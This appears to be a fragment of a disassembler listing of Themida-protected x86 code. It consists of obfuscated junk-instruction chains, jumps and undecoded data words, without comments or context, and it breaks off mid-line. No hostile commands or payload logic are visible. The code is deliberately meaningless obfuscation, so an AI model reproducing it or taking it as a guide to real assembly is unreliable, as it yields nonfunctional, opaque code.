push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp loc_5397F8: ; CODE XREF: Themida_:loc_53A59Fj push ecx push 5F74h jmp loc_53742E ; --------------------------------------------------------------------------- loc_539803: ; CODE XREF: Themida_:00542058j pop edx jmp loc_53EE95 ; --------------------------------------------------------------------------- db 0BAh, 63h, 11h dd 554A3FF2h, 0F2115EBDh, 5DEA293Fh, 0E95AD001h, 364h dd 2434FF54h, 8124148Bh, 4C4h, 7C326800h, 3C890000h, 3C8B5424h dd 4C48324h, 4BB53h, 0DF010000h, 0E8E9535Bh, 8B000003h dd 0C4832414h, 4C28104h, 51000000h, 69AAE9h, 2434FF00h dd 4C4835Fh, 4C781h, 0E9560000h, 7352h, 7F1EBA52h, 542905D3h dd 585A0424h, 4EC8351h, 0FFF478E9h, 18E680FFh, 30B5F680h dd 5CE95AF3h, 89000096h, 0BD55241Ch, 1A5A3B77h, 92A6E9h db 0 ; --------------------------------------------------------------------------- loc_5398A1: ; CODE XREF: Themida_:0053C555j or esi, ebp pop ebp shr esi, 2 neg esi push ecx mov ecx, 7B028853h sub esi, ecx pop ecx push esi mov esi, 0B096904h sub eax, esi jmp loc_540B43 ; --------------------------------------------------------------------------- db 0ADh dd 4133A005h, 0DFE4E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5398CA: ; CODE XREF: Themida_:0053C21Cj push eax jmp loc_541230 ; --------------------------------------------------------------------------- dd 0BB241C89h, 4, 269BC181h, 0D90160ACh, 269BE981h, 89E960ACh dd 2DFFFFEFh, 0F954511h, 4807E8C1h, 4DCF4D35h, 4D3BE950h dd 0FB290000h, 5BD8315Fh, 836AE9h db 0 ; --------------------------------------------------------------------------- loc_539909: ; CODE XREF: Themida_:00541F17j pop edx add eax, esi pop esi add eax, 2 xor eax, [esp] jmp loc_53864D ; --------------------------------------------------------------------------- dd 3A7FC181h, 20E95C6Ch db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_539923: ; CODE XREF: Themida_:0053E9BAj pop ecx jmp loc_5411BD ; --------------------------------------------------------------------------- aXsmz db 'XИ▄┤',0 dw 5200h dd 1646A368h, 0EA815A31h, 6AE5606Ah, 0FFE28BE9h db 0FFh ; --------------------------------------------------------------------------- loc_539941: ; CODE XREF: Themida_:0053D8A7j push ebp mov ebp, 40E06180h push eax push esi mov esi, 22C73882h push ebp mov ebp, 0 sub ebp, esi mov esi, ebp pop ebp neg esi jmp loc_537551 ; --------------------------------------------------------------------------- loc_539960: ; CODE XREF: Themida_:00537FF3j add ebp, esi add ebp, 0C07612Fh pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_53B2F3 ; --------------------------------------------------------------------------- dd 0E95BDD01h, 2020h, 7A87CF81h, 0EF81417Bh, 3FF03838h dd 0E95FFA31h, 47E1h ; --------------------------------------------------------------------------- loc_539990: ; CODE XREF: Themida_:0053D215j mov eax, 61F63871h push ebp push 36BB08A4h jmp loc_537A5E ; --------------------------------------------------------------------------- dd 0FE759DBAh, 2444816Fh, 52652004h, 2454013Bh, 0F443E904h dd 0EF81FFFFh, 5EDD6D1Bh, 3C8BFD89h, 4C48124h, 1000000h dd 24148BD5h, 4C481h, 0ABE90000h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5399D7: ; CODE XREF: Themida_:00539C80j mov [esp], esi jmp loc_53C480 ; --------------------------------------------------------------------------- aJbGSiv db 'J│Йвg[-И⌡v',0 db 0 ; --------------------------------------------------------------------------- loc_5399EB: ; CODE XREF: Themida_:00542231j pop edx xchg ecx, [esp] pop esp add esp, 4 push 598Bh mov [esp], edx push ebp push edi jmp loc_53CF89 ; --------------------------------------------------------------------------- dw 6852h dd 26FC0D13h, 3D40E9h, 243C3100h, 2C0568h, 5107E900h, 0A3E90000h dd 21FFFFD3h, 3F6CE9C7h, 8B660000h, 9C68240Ch, 8900001Ch dd 0E6892434h, 0F7BB5350h, 0B831950Dh, 31950DFBh, 60E9D829h dd 0ACFFFFE3h, 2A4EE9h db 0 ; --------------------------------------------------------------------------- loc_539A4D: ; CODE XREF: Themida_:0054012Bj pop ecx mov ebp, edx pop edx and eax, ebp mov ebp, [esp] jmp loc_53F756 ; --------------------------------------------------------------------------- loc_539A5B: ; CODE XREF: Themida_:0053E16Cj push ecx mov ecx, 14871CC3h jmp loc_54073F ; --------------------------------------------------------------------------- loc_539A66: ; CODE XREF: Themida_:0053F60Fj pop ecx add ebx, 0BEF9C8F2h add edx, ebx jmp loc_53F012 ; --------------------------------------------------------------------------- dd 0CCFEDCF6h, 4661E9h, 8BD02900h, 25E92414h, 89FFFFF4h dd 0EC81241Ch, 4, 2DF8E9h, 2C8B6600h, 6454E924h, 58660000h dd 0EAE9CDFEh, 0BB00008Bh, 3D740775h, 815BDA89h, 0A77FC1C2h dd 4834E97Eh, 9BD0000h, 2919DA0Ch, 4CC6E9EBh, 34FF0000h dd 0C4835924h, 0ACF8104h, 816FF857h, 976D69C7h, 8A28E922h dd 0EA290000h, 83242C8Bh, 0D68904C4h, 7435E95Ah, 34890000h dd 1B685224h, 8B249401h, 0C4812414h, 4, 8102E2C1h, 0AC5ABFF2h dd 72DFE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_539B0E: ; CODE XREF: Themida_:00542F5Aj pop ebp add esp, 4 loc_539B12: ; CODE XREF: Themida_:0053B6AAj push 42B8h mov [esp], ebx push ebp push ecx mov ecx, 68F56B2h xor ecx, 3F3B54B4h sub ecx, 172C47E7h jmp loc_53BFDF ; --------------------------------------------------------------------------- loc_539B32: ; CODE XREF: Themida_:0053A77Ej mov esi, 51E274E1h push eax mov eax, 3D4E20E3h inc eax inc eax jmp loc_54177A ; --------------------------------------------------------------------------- dd 498DC581h, 0B9514858h, 285B1629h, 8B59CD29h, 0C481243Ch dd 4, 8B242C87h, 0C8842424h, 0D258E99Ch, 0B151FFFFh, 6E2DE909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539B72: ; CODE XREF: Themida_:0053D793j xor ebp, 0C7B4E27Bh jmp loc_540E91 ; --------------------------------------------------------------------------- loc_539B7D: ; CODE XREF: Themida_:0053E963j xchg ebx, edx jmp loc_53817F ; --------------------------------------------------------------------------- dd 405h, 74FF5000h, 8F580424h, 815C2404h, 4C4h, 4C48300h dd 51C8AF0Fh, 0D21CE99Ch, 0C383FFFFh, 241C8702h, 2F85E9h db 0 ; --------------------------------------------------------------------------- loc_539BB1: ; CODE XREF: Themida_:0053B085j mov ebx, [esp] add esp, 4 mov esi, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] pop esp jmp loc_53B4C8 ; --------------------------------------------------------------------------- db 83h dd 0C33104C4h, 24148B66h, 515B5453h, 5AC36853h, 34890000h dd 6803BE24h, 0CEE95AEFh, 80FFFFEFh, 0F78011C7h, 3DEF80B9h dd 5BF800h, 668C2CD0h, 8324148Bh, 0D8E902C4h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_539C13: ; CODE XREF: Themida_:0053CFCEj pop ebx or ebp, 157A0DFBh jmp loc_542BF0 ; --------------------------------------------------------------------------- loc_539C1F: ; CODE XREF: Themida_:005390E9j add dword ptr [esp], 791D5D8Ch pop ecx sub ecx, 791D5D8Ch pop eax jmp loc_538A29 ; --------------------------------------------------------------------------- db 0BBh dd 4, 6BD6C781h, 0DF014040h, 2D0DE9h, 24343300h, 0D324248Bh dd 0E99C240Ch, 0FFFFD16Eh, 8304C483h, 0DFE904ECh, 0FF00008Ah dd 3CE92434h, 81FFFFE3h, 277E9C2h, 42D2F700h, 0F78BD55h dd 63E9DA47h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539C7B: ; CODE XREF: Themida_:00536EE7j ; Themida_:0053D4FAj push 10C9h jmp loc_5399D7 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0FFF024E9h, 20E95AFFh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539C93: ; CODE XREF: Themida_:0053BC55j mov eax, esp add eax, 4 add eax, 4 push eax jmp loc_541AD3 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 18A0h, 70B1E9h, 21840F00h, 81FFFFDBh, 47083BC6h dd 0DE3AE971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539CC2: ; CODE XREF: Themida_:00540640j or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_542036 ; --------------------------------------------------------------------------- loc_539CCE: ; CODE XREF: Themida_:00537C1Fj add esp, 4 xchg ecx, [esp] mov eax, [esp] jmp loc_53E737 ; --------------------------------------------------------------------------- dd 0F61C381h, 34FF4BBDh, 23E95F24h, 66000089h, 0B6241489h dd 0E9ED049Eh, 6376h, 1638DC05h, 2DF82931h, 311638DCh dd 0FFE9555Fh db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_539D0B: ; CODE XREF: Themida_:00541ECEj pop edx add esp, 4 jmp loc_53CA2C ; --------------------------------------------------------------------------- db 2Dh dd 3B7C79A4h, 3516855h, 15D0C0Dh, 835F5DE8h, 348904ECh dd 4CEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539D32: ; CODE XREF: Themida_:00539336j mov esp, [esp] and eax, edi mov edi, [esp] jmp loc_53CA43 ; --------------------------------------------------------------------------- db 81h dd 0B44017E6h, 81D6F71Ah, 7FFFEBF6h, 8BF201E7h, 0C4832434h dd 2EA8304h, 5C241487h, 240C8966h, 0C8287DB1h, 312C5966h dd 76C9E9h, 53B35300h, 0FFE3E8E9h, 592DADFFh, 2D550839h dd 21102153h, 0E550E905h, 25F9E943h, 0C2800000h, 1C280C9h dd 81CAE9h, 2C8B5000h, 4C48324h, 237E68h, 242C8900h, 8B2434FFh dd 0C4812414h, 4, 4C481h, 2C8B0000h, 0E1895124h, 4C181h dd 0C1810000h, 4, 31240C33h, 0C33240Ch, 0EBE95C24h, 5CFFFFCFh dd 8CF1E9h, 0FE95D00h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_539DE3: ; CODE XREF: Themida_:005401AAj push esi mov esi, 5F571DD0h jmp loc_53E617 ; --------------------------------------------------------------------------- dw 0C681h dd 58812D0Ch, 0EE81FE01h, 58812D0Ch, 50243C8Bh, 405E089h dd 5000000h, 4, 0E9240487h, 7DAEh, 0E6C0E2B6h, 2E6C008h dd 0D08CB450h, 0FC4EE9E4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539E26: ; CODE XREF: Themida_:0053A2ACj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_53D674 ; --------------------------------------------------------------------------- db 53h, 0B7h, 0ACh dd 0FFD9CCE9h, 90E952FFh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_539E4F: ; CODE XREF: Themida_:0053A229j pop esp mov [esp], ebx push dword ptr [esp] jmp loc_540EF2 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 42474FFh, 24048F5Bh, 1C37E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_539E72: ; CODE XREF: Themida_:0054178Fj pop esi or edi, 385A367Fh dec edi sub edi, 7D1859B8h push ecx mov ecx, 55D44C8Ch shl ecx, 8 shr ecx, 2 shr ecx, 8 shr ecx, 5 xor ecx, 2351A785h jmp loc_53E83B ; --------------------------------------------------------------------------- db 89h, 0E3h, 68h dd 1C2Ah, 0E9243C89h, 1DF0h, 2ECEE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_539EB2: ; CODE XREF: Themida_:0053E612j pop edx xor [esp+4], edx pop edx push dword ptr [esp] push dword ptr [esp] jmp loc_53E816 ; --------------------------------------------------------------------------- loc_539EC3: ; CODE XREF: Themida_:0053E66Aj push 21CAh mov [esp], eax xchg ebx, [esp] not ebx xchg ebx, [esp] push dword ptr [esp] jmp loc_53C221 ; --------------------------------------------------------------------------- aBcf8Qssj db '│Гf8{[QИ▒J',0 db 0 ; --------------------------------------------------------------------------- loc_539EE7: ; CODE XREF: Themida_:0053D7E7j mov esi, 3FF14629h dec esi sub esi, 0FFFFFFFFh jmp loc_541D0E ; --------------------------------------------------------------------------- aQIsT db '╣q(КИ=T',0 align 2 loc_539EFE: ; CODE XREF: Themida_:0053BCE4j add ebp, 2DC6A4B9h or edx, ebp pop ebp xor edx, 79CF57B2h push edi mov edi, 3F8370FCh jmp loc_53DAD8 ; --------------------------------------------------------------------------- dd 8108E1C1h, 0AE0243C1h, 1E9817Ch, 81000000h, 0A324DFF1h dd 59CE2175h, 347AE681h, 0BD550716h, 53883735h, 4D06E5C1h dd 4926E581h, 7AE968CCh, 0AD000079h, 0AA68AF05h, 4ACB0568h dd 0D80166FEh, 6CC4E9h, 89565C00h, 0E9F289EEh, 0FFFFDCE5h dd 240C8B66h, 2ED8E9h, 0CE4CE900h, 7CB1FFFFh, 68665904h dd 89665F31h, 0A0B22414h, 5A66D000h, 0E955C800h, 96Ch dd 4D2C0C2Ch, 685B512Ch, 3F3Bh, 0FFD294E9h, 32E95CFFh dd 66000080h, 8304EFC1h, 896602ECh, 0B8662404h, 1660001h dd 0D512E9C7h, 0FFE9FFFFh, 68FFFFCDh, 5EA9h, 57243489h dd 4037E9h, 66980400h, 2CD02859h, 0B2525A75h, 0E7EA8094h dd 86BAC280h, 0B45066EAh, 386EE9FFh, 0F660000h, 9C2404ABh dd 52ACE9h, 0C8B6600h, 4EC8124h, 89000000h, 0E189240Ch dd 6AC7E957h, 0E95C0000h, 7D9Fh ; --------------------------------------------------------------------------- loc_53A014: ; CODE XREF: Themida_:00537484j mov ecx, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_53F9EB ; --------------------------------------------------------------------------- dw 8FE9h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A033: ; CODE XREF: Themida_:0053BD31j push 0D0Eh mov [esp], eax mov eax, 128A2C8Ah add [esp+0Ch], eax pop eax sub [esp+8], esi sub dword ptr [esp+8], 128A2C8Ah pop esi mov ebx, [esp] add esp, 4 mov ecx, [esp] jmp loc_53F5E3 ; --------------------------------------------------------------------------- dd 0E902C683h, 9CEh ; --------------------------------------------------------------------------- loc_53A068: ; CODE XREF: Themida_:0053F829j add esi, 25BC44F5h pop ecx or edi, esi pop esi push edx jmp loc_53FD08 ; --------------------------------------------------------------------------- dd 592434FFh, 73CC68h, 240C8900h, 62F968h, 48F5400h, 24048324h dd 0E62CE904h, 0EE81FFFFh, 1FD53EB0h, 3E1A6855h, 4890000h dd 5412B824h, 12E93651h, 59000060h, 685AD028h, 2EDAh, 1680E9h db 0 ; --------------------------------------------------------------------------- loc_53A0BD: ; CODE XREF: Themida_:0053B19Fj add esp, 4 add esp, 4 jmp loc_53891B ; --------------------------------------------------------------------------- dd 0FFCCF5E9h, 65E95BFFh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A0D3: ; CODE XREF: Themida_:00541864j push esi push esp pop esi push edi jmp loc_53CAE3 ; --------------------------------------------------------------------------- dd 0FFCCE1E9h, 1A8368FFh, 1C890000h, 0FDAFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A0EE: ; CODE XREF: Themida_:0053CAEEj push edi mov edi, 4E4A354Ah dec edi add edi, 0FFFFFFFFh sub edi, 9ED3789h add edi, 0CBF07C2Eh jmp loc_53CB55 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSp_0 db '$ИP]',0 align 2 dw 0CE81h dd 52E51BE9h, 1725E9h, 48F5900h, 24248B24h, 0FFCC99E9h dd 74FF50FFh, 8F580424h, 50E92404h, 4000084h, 24148B2Ch dd 3004C483h, 0C0B60FC3h, 87048F66h, 0FFCC75E9h, 80F781FFh dd 0E934E473h, 2AD0h, 240C8B66h, 525E5456h, 4BF57h, 5A570000h dd 0AB9515Fh, 16ACC5Ch, 95FE9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A176: ; CODE XREF: Themida_:0053DC19j not ecx shl ecx, 3 jmp loc_53A47F ; --------------------------------------------------------------------------- dd 5AD0015Bh, 64F368h, 24148900h, 6A4BE9h db 0 ; --------------------------------------------------------------------------- loc_53A191: ; CODE XREF: Themida_:00541C5Cj shl edx, 1 push 383h jmp loc_5406E8 ; --------------------------------------------------------------------------- loc_53A19D: ; CODE XREF: Themida_:00538AA6j pop ecx add eax, 2D00008Bh add ebx, eax jmp loc_53B0C4 ; --------------------------------------------------------------------------- aMsa db '╛И═',9,0 align 10h aZLHxu db '┤,$▀$$hxu',0 dw 8900h dd 81502414h, 3805242Ch, 34FF27C5h, 89535A24h, 4C381E3h dd 0E9000000h, 2343h, 43E9CCFEh, 81000046h, 467B90C7h dd 3651E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A1EA: ; CODE XREF: Themida_:00542CD7j mov eax, 2F394EB8h jmp loc_5415DD ; --------------------------------------------------------------------------- dd 875DE901h, 0E95C240Ch, 83E1h, 5BCABB53h, 0B8503362h dd 65502EE9h, 8545C825h, 1F3D0545h, 0C331CED7h, 0F39E9h db 0 ; --------------------------------------------------------------------------- loc_53A21D: ; CODE XREF: Themida_:0053E76Bj add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_539E4F ; --------------------------------------------------------------------------- dw 0FC88h dd 88D4F65Bh, 0F1B7E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A23A: ; CODE XREF: Themida_:0053A8D0j sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_536EB8 ; --------------------------------------------------------------------------- loc_53A248: ; CODE XREF: Themida_:00539356j xor eax, ebx push ebx push ecx jmp loc_53B5DB ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 2E592DBBh, 81D3F760h, 4ECh, 24348900h, 156772BEh, 40F6812Eh dd 14E3B3Eh, 0DE015EF3h, 17C4685Bh, 14890000h, 2BA24h dd 0D6010000h, 7AC3E9h, 0DEF65900h, 0E2E9C686h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A293: ; CODE XREF: Themida_:00542726j not dword ptr [esp] pop ecx shr ecx, 5 not ecx sub ecx, 0F9405873h add ebp, ecx pop ecx add ebp, 4 push ebp jmp loc_539E26 ; --------------------------------------------------------------------------- db 30h, 4, 24h dd 30240432h, 0EC812404h, 2, 240C8966h, 88C68852h, 3815E9F1h dd 515F0000h, 0C1815954h, 4, 4C181h, 0FF510000h, 0E9042474h dd 5512h, 0E959C829h, 87D0h, 0E1885EB4h, 6248E9h db 0 ; --------------------------------------------------------------------------- loc_53A2F9: ; CODE XREF: Themida_:00541775j push esi mov esi, esp push edi mov edi, 66F3478Ch or edi, 3BCB3705h neg edi inc edi jmp loc_542D74 ; --------------------------------------------------------------------------- loc_53A310: ; CODE XREF: Themida_:005375D9j add ebp, 0DDF7791h jmp loc_542D7A ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 27DCh, 57241489h, 0C781E789h, 4, 4B951h dd 0CF290000h, 243C8759h, 57E9545Ch db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A343: ; CODE XREF: Themida_:0053882Ej dec ebp xor ebp, 380724EFh push esi jmp loc_538409 ; --------------------------------------------------------------------------- a_sO db '_ИоO',0 align 2 dw 0C283h dd 24148704h, 3F152D5Ch, 525635C9h, 870A4568h, 0F2815A01h dd 4A37DAEh, 6C58E9h, 0CDE95300h, 0F7000080h, 0EFC147DFh dd 81D7F707h, 690F96C7h, 25F7816Dh, 1223A38h, 5898E9FDh dd 0E2810000h, 3B681A14h, 81D2F74Ah, 251715F2h, 0BE564222h dd 0CF9AF8FAh, 95EF231h, 34FF1C57h, 89575A24h, 4C781E7h dd 50000000h, 33EDE9h db 0 ; --------------------------------------------------------------------------- loc_53A3C5: ; CODE XREF: Themida_:00541251j add esi, 470365BEh and esi, 1C043952h dec esi shr esi, 2 jmp loc_53C52C ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 8147DFF7h, 2FE3ECC7h, 5FFA89E3h, 7CE9D129h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A3F3: ; CODE XREF: Themida_:0053F316j pop esp sub eax, 6DD9647Dh sub esp, 4 mov [esp], ebx mov ebx, 40000h and eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 jmp loc_5376F3 ; --------------------------------------------------------------------------- db 66h dd 0E93CFB68h, 2EDBh, 4BA52h, 54010000h, 8B5A0424h, 0C4832404h dd 67B95104h, 817AE520h, 0A7D2BC9h, 6BE9815Dh, 17FEF7Dh dd 38BBE9C8h, 34BD0000h, 0E97E6004h, 1E3h, 0F969C581h dd 0F4E9E101h, 0FF00002Ch, 68582434h, 8EFh, 54240489h dd 0FF2434FFh, 99E92434h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A47F: ; CODE XREF: Themida_:0053A17Bj or ecx, 497E1C3Ah push eax push edi mov edi, 557A38C1h push eax mov eax, 236A2331h sub edi, eax pop eax jmp loc_541826 ; --------------------------------------------------------------------------- dw 3605h dd 11F420Ah, 0A362DD8h, 0B1E91F42h, 50000088h, 48F9E9h db 0 ; --------------------------------------------------------------------------- loc_53A4B1: ; CODE XREF: Themida_:0053E81Dj xor eax, 2635489Fh jmp loc_541200 ; --------------------------------------------------------------------------- db 83h dd 78E904C3h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A4C3: ; CODE XREF: Themida_:00540661j pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_53C541 ; --------------------------------------------------------------------------- loc_53A4DC: ; CODE XREF: Themida_:00542443j xor ebx, 4FBC21A3h jmp loc_53CB92 ; --------------------------------------------------------------------------- db 0Fh dd 9C2404A3h, 0FFC8D1E9h, 5BD889FFh, 747FBE56h, 0F0011917h dd 4049E95Eh, 14330000h, 24248B24h, 4EC81h, 24890000h dd 24048324h, 1077E904h, 895C0000h, 68552434h, 558A79EEh dd 81D5F75Dh, 450699F5h, 8E5C113h, 7B656857h, 0C15F228Ch dd 0E78108EFh, 37F22B54h, 7D2DCF81h, 0F7814CEEh, 17E222EBh dd 0E906E7C1h, 82DAh, 0F0E0E950h, 0C788FFFFh, 8BFD8858h dd 0C483241Ch, 24148B04h, 4C481h, 6F880000h, 2434FF28h dd 4C48159h, 0E9000000h, 38E2h, 1990EB81h, 0F3294DF3h dd 1990C381h, 9EE94DF3h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A593: ; CODE XREF: Themida_:0053ABBAj push edi push 13714127h pop edi jmp loc_53CC88 ; --------------------------------------------------------------------------- loc_53A59F: ; CODE XREF: Themida_:00542EEAj jz loc_5397F8 push dword ptr [edi+1Ch] add dword ptr [esp], 71141032h push dword ptr [esp] pop ecx jmp loc_53DDE5 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 6ADCh, 0B62CE7BDh, 96F58126h, 3172281Fh dd 0D8F75DE8h, 8D35D0F7h, 895FFC0Ch, 0F90158C7h, 5D68575Fh dd 8900001Bh, 4BE2434h, 89000000h, 2C91E9F7h, 0C4830000h dd 0C0B60F04h, 538734FFh, 9DE9E389h, 81000051h, 4C3h, 241C3300h dd 848EE9h, 4EB8300h, 5C241C87h, 54240C89h, 592434FFh dd 4C481h, 0B8500000h, 4, 4099C181h, 0C10160FAh, 4099E981h dd 0B6E960FAh, 55000003h, 0EF815D5Fh, 7E600430h, 0E95FFB01h dd 3D9Ch, 74F4E959h, 34890000h, 299C6824h, 815E4435h, 0D4403BF6h dd 5EF38979h, 0D06FE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A66E: ; CODE XREF: Themida_:0053DFA9j pop esi sub esp, 4 mov [esp], ecx mov ecx, esp push edi mov edi, 4968111Dh jmp loc_53CABF ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 22D75ED9h, 81240429h, 5ED92404h, 0E95522D7h, 6EDFh dd 4C281h, 0AFE90000h, 66FFFFFCh, 5324048Bh, 0C381E389h dd 4, 2FE46850h, 55584A95h, 0ED391DBDh, 180053Ch, 42E945CFh dd 5200004Eh, 0E955E289h, 4AC2h, 0FFC6E9E9h, 240489FFh dd 0EC8144B4h, 2, 24148966h, 8452E953h, 34890000h, 4BE24h dd 74010000h, 0E95E0424h, 0FFFFC6C2h ; --------------------------------------------------------------------------- loc_53A700: ; CODE XREF: Themida_:00540B44j push edi mov edi, 5666DA2h add eax, edi pop edi add eax, esi jmp loc_53B579 ; --------------------------------------------------------------------------- loc_53A710: ; CODE XREF: Themida_:005403F2j mov esi, edi jmp loc_541038 ; --------------------------------------------------------------------------- loc_53A717: ; CODE XREF: Themida_:0053DF7Bj mov ebp, [esp] sub esp, 4 mov [esp], edx push esp pop edx jmp loc_542ED8 ; --------------------------------------------------------------------------- dw 1C89h aRshw db '$RИHW',0 dw 8700h dd 0E95C243Ch, 0FFFFE11Ch ; --------------------------------------------------------------------------- loc_53A73C: ; CODE XREF: Themida_:0053AAAEj mov [esp], ebx push dword ptr [esp] pop eax push ebp sub esp, 4 mov [esp], esp jmp loc_5370E0 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0C654E5BFh, 18EDE92Ch, 34FF0000h, 0EC54E924h dd 28FFFFFh, 0FFC651E9h db 0FFh ; --------------------------------------------------------------------------- loc_53A771: ; CODE XREF: Themida_:00537F7Cj or edi, 58EC0E77h add edi, 1 push esi jmp loc_539B32 ; --------------------------------------------------------------------------- loc_53A783: ; CODE XREF: Themida_:0053EA8Cj mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5400AD ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 278Eh mov [esp], edx push ebx push 32D432DCh pop ebx sub ebx, 282A51CFh and ebx, 2F364F22h neg ebx jmp loc_53F6A3 ; --------------------------------------------------------------------------- dw 5905h aYHal db 0Dh,'Y-hAl',0 align 4 dd 0B9240C89h, 1C2A0BBCh, 68h, 240C2900h, 0E9D9F759h, 29DCh dd 240C8B66h, 4D8B68h, 24348900h, 0EC835E54h, 0FA5FE904h dd 5655FFFFh, 2BEh, 5EF58900h, 15DEF89h, 243C8BFAh, 4C481h dd 0E9520000h, 82CCh, 31242C33h, 2C33242Ch, 0CAB6E924h dd 0C481FFFFh, 4, 892B7ABEh, 5DEE3109h, 3AB4E9h db 0 ; --------------------------------------------------------------------------- loc_53A831: ; CODE XREF: Themida_:00539124j mov edx, 1E677359h xor edx, 1E67735Dh sub ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 2C0C7DE7h push 251Ch jmp loc_536EC3 ; --------------------------------------------------------------------------- loc_53A857: ; CODE XREF: Themida_:0053F721j mov esi, [esp] push 582Fh mov [esp], ecx jmp loc_538F08 ; --------------------------------------------------------------------------- db 59h dd offset byte_59FEE9 dd 4C48100h, 87000000h, 0E95C242Ch, 41B1h, 8324048Bh, 0B0E904C4h dd 52000006h, 0FFCCDEE9h, 0C6815EFFh, 4, 0FFD0D5E9h, 0C1D8F7FFh dd 95E908E0h, 8900006Ch, 4B951E0h, 1000000h, 42D59C8h dd 87000000h, 248B2404h, 243C8924h, 0F7576868h, 0FAE95F3Eh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A8C7: ; CODE XREF: Themida_:0053E203j push ebp push esp pop ebp add ebp, 4 jmp loc_53A23A ; --------------------------------------------------------------------------- db 81h, 0C3h, 0E0h dd 89EFF1A2h, 0F1015BDEh, 8324348Bh, 0CF0104C4h, 83240C8Bh dd 0B95104C4h, 710D7B5Fh, 0E907E1C1h, 3F7h, 0C581E589h dd 4, 6327E9h db 0 ; --------------------------------------------------------------------------- loc_53A909: ; CODE XREF: Themida_:00541D8Dj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx push dword ptr [esp] pop edi sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 jmp loc_537866 ; --------------------------------------------------------------------------- loc_53A934: ; CODE XREF: Themida_:00540AC2j shr ecx, 0Ah sub esp, 4 mov [esp], ecx push ebx jmp loc_542DC8 ; --------------------------------------------------------------------------- loc_53A946: ; CODE XREF: Themida_:00542E9Bj mov esi, [esp] add esp, 4 xor eax, 50FB48A7h jmp loc_53CBD7 ; --------------------------------------------------------------------------- dw 0BB53h dd 7D58748Ah, 0FFD194E9h, 248B66FFh, 0C458E924h, 0B951FFFFh dd 5A547A59h, 2D2EC981h, 9BE95C3Bh, 57FFFFC6h, 42474FFh dd 90EE9h, 241C8900h, 4BBh, 5BD90100h, 50E38953h, 4B8h dd 58C30100h, 0E904EB83h, 27C2h, 0D9868h, 242C8900h, 670668h dd 24248900h, 4BA52h, 54010000h, 8B5A0424h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, 4BD1045Ch sub ecx, 4BD10458h jmp loc_542CD3 ; --------------------------------------------------------------------------- loc_53A9E3: ; CODE XREF: Themida_:00537307j push dword ptr [esp] jmp loc_53EBB2 ; --------------------------------------------------------------------------- db 35h dd 5AF22F8Eh, 0FFE552E9h, 376858FFh, 89000006h, 2BA2414h dd 1000000h, 0C875AD1h, 59AEE924h, 0DE880000h, 8BF1885Bh dd 0C4812414h, 4, 0D3E90A88h, 81FFFFDEh, 5A01BFC2h, 8ABF5753h dd 2906CF01h, 0D1CE9FAh, 34870000h, 24248B24h, 29FFE9h dd 81C60100h, 